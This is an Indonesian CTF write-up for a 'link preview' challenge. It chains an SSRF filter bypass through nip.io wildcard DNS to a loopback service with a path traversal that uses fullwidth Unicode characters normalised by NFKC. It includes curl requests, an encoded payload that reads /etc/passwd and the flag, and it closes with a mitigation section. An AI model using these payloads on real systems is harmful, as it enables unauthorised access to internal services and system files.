KAPOLRI CUP 2026: Pointers
Pointers — Link Preview & Bookmarks (SSRF → LFI)
Kategori: SSRF / LFI / Bypass Filter
Target: http://18.143.187.232:8083/
Flag: polriCTF26{fu11w1dth_d0ts_p01nt_str41ght_1nt0_th3_c0ntr0l_pl4n3}
python3 -c ‘import urllib.parse; print(urllib.parse.quote(”../../app/flag.txt”))‘
Ringkasan Solusi
- Recon — Situs adalah layanan “link preview”. Ada fitur
POST /api/previewyang fetch URL secara server-side (SSRF). - Petunjuk internal — Tabel “Your pointers” memuat
/go/pg→http://127.0.0.1.nip.io:9000/flag, menandakan ada service internal “control-plane” di loopback port 9000. - Bypass filter SSRF — Fetch ke IP privat langsung ditolak (
refused: that target is on a private/internal network), tapinip.io(wildcard DNS → 127.0.0.1) lolos filter. - Enumerasi control-plane —
GET /di port 9000 membocorkan daftar route:GET /internal/statusGET /internal/snapshot?file=<name>— baca file dari./snapshots(LFI)
- Detail service —
/internal/statusmengembalikan JSON:appRoot=/app,snapshotDir=./snapshots,filenameNormalization=NFKC,trust=loopback-only. - Path traversal diblokir —
file=../../etc/passwd→illegal characters in filename(filter memblokir..dan/pada string mentah). - Bypass NFKC — Karena normalisasi NFKC dilakukan setelah cek filter (di sisi pembacaan file), gunakan karakter fullwidth yang NFKC-normalisasi ke
.,/, dan huruf biasa:.(U+FF0E) →./(U+FF0F) →/e(U+FF45) →e- dst. (offset 0xFF00 + 0x20)
- Baca flag —
..\..\app\flag.txt(depth 2) terbaca.
Recon Detail
1. Pengenalan Aplikasi
Halaman utama adalah layanan link preview:
- Input URL →
POST /api/previewdengan body{"url": "..."}. - Server mengambil URL tersebut (SSRF) lalu membangun “preview card”.
- Ada catatan sistem: “Frontend fetches happen through the internal control-plane at http://127.0.0.1:9000 (loopback only — not exposed).“
2. Petunjuk Awal dari Tabel Pointers
Tabel “Your pointers” berisi redirect /go/<xx> yang sudah dibuat sebelumnya, mayoritas menuju internal:
/go/pg → http://127.0.0.1.nip.io:9000/flag (hits 14)
/go/pf → http://localhost:9000/admin (hits 3)
/go/pe → http://127.0.0.1:9000/flag (hits 17)
/go/pc → http://[::1]:9000/flag (hits 13)
...
Ini konfirmasi: service target ada di 127.0.0.1:9000, dan orang-orang sebelumnya sudah mencoba berbagai representasi alamat loopback.
3. Test SSRF Langsung
curl -X POST http://18.143.187.232:8083/api/preview \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.0.0.1:9000/flag"}'
# => {"ok":false,"error":"refused: that target is on a private/internal network"}
Filter memblokir alamat privat/loopback. Percobaan lain (127.1, 2130706433, 0x7f000001, [::1], localhost, xip.io, lokasi @) juga ditolak atau gagal.
4. Bypass Filter — DNS Wildcard nip.io
nip.io adalah layanan wildcard DNS: <ip>.nip.io selalu resolve ke <ip> tersebut. Karena filter cek hostname/string, bukan hasil resolve DNS, hostname 127.0.0.1.nip.io lolos sedangkan fetch-nya tetap ke loopback.
curl -X POST http://18.143.187.232:8083/api/preview \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.0.0.1.nip.io:9000/"}' \
# => 200, text/plain
5. Enumerasi Control-Plane (port 9000)
Respons / port 9000:
pointers control-plane (internal)
routes:
GET /internal/status
GET /internal/snapshot?file=<name> read a cached snapshot from ./snapshots
example: /internal/snapshot?file=welcome.txt
/internal/status:
{
"ok": true,
"service": "pointers-control-plane",
"bind": "127.0.0.1:9000",
"snapshotDir": "./snapshots",
"appRoot": "/app",
"trust": "loopback-only",
"filenameNormalization": "NFKC"
}
Informasi penting: app root di /app, snapshot di ./snapshots, dan ada normalisasi filename NFKC (clue utama exploit LFI).
6. Endpoint LFI — /internal/snapshot?file=
Baca file normal dari direktori snapshot:
GET /internal/snapshot?file=welcome.txt
# => "Pointers — snapshot cache ..."
7. Path Traversal Diblokir
GET /internal/snapshot?file=../../etc/passwd
# => "illegal characters in filename"
Filter memblokir substring .. dan karakter / pada string mentah (sebelum decoding/apapun).
Eksploitasi — Bypass Filter via Karakter Fullwidth (NFKC)
Analisis Logika Server (dari perilaku)
Dari /internal/status terlihat filenameNormalization: NFKC. Dari observasi perilaku:
file=..(fullwidth)/etc/passwd→ ditolakillegal charactersjika masih ada/ascii.file=welcome.txt(semua fullwidth) → berhasil membukawelcome.txt.
Kesimpulan: filter cek string mentah, lalu saat membaca file dilakukan normalisasi NFKC. Artinya:
| Input (mentah) | Normalisasi NFKC → | Filter (.. / /)? | Dibaca sebagai |
|---|---|---|---|
../../etc/passwd | ../../etc/passwd | KETAHUAN | diblokir |
./ dkk. | ../ | lolos (bukan string ..//) | traversal berhasil |
Karakter fullwidth yang dipakai (offset 0xFF00 untuk ASCII printable):
.(U+FF0E) →./(U+FF0F) →/a..z(U+FF41..FF5A) →a..zA..Z(U+FF21..FF3A) →A..Z0..9(U+FF10..FF19) →0..9
PoC — Baca /etc/passwd
File: ..\..\etc\passwd → diubah ke fullwidth:
. . / . . / etc/passwd
GET /internal/snapshot?file=%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BC%8E%EF%BC%8E%EF%BC%8F%65%74%63%EF%BC%8F%70%61%73%73%77%64
# => root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ...
Karena app root /app dan snapshot di /app/snapshots, butuh 2 tingkat ../ untuk mencapai /.
Baca Flag
GET /internal/snapshot?file=..\..\app\flag.txt (fullwidth)
Hasil:
polriCTF26{fu11w1dth_d0ts_p01nt_str41ght_1nt0_th3_c0ntr0l_pl4n3}
Script Solver
Lihat pointers_solve.py di direktori yang sama.
python3 pointers_solve.py
Mitigasi
- Filter SSRF harus resolve DNS lalu cek IP hasil resolve (dan cek redirect), bukan cek string hostname.
- Endpoint baca file internal jangan pernah expose, atau jika perlu, validasi setelah normalisasi path (NFKC) dan gunakan
path.resolve()+ cek prefix direktori yang diizinkan (mis.realpath().startsWith(snapshotDir)). - Normalisasi filename (NFKC/Unicode) harus dilakukan sebelum validasi, bukan sesudah.
Flag
polriCTF26{fu11w1dth_d0ts_p01nt_str41ght_1nt0_th3_c0ntr0l_pl4n3}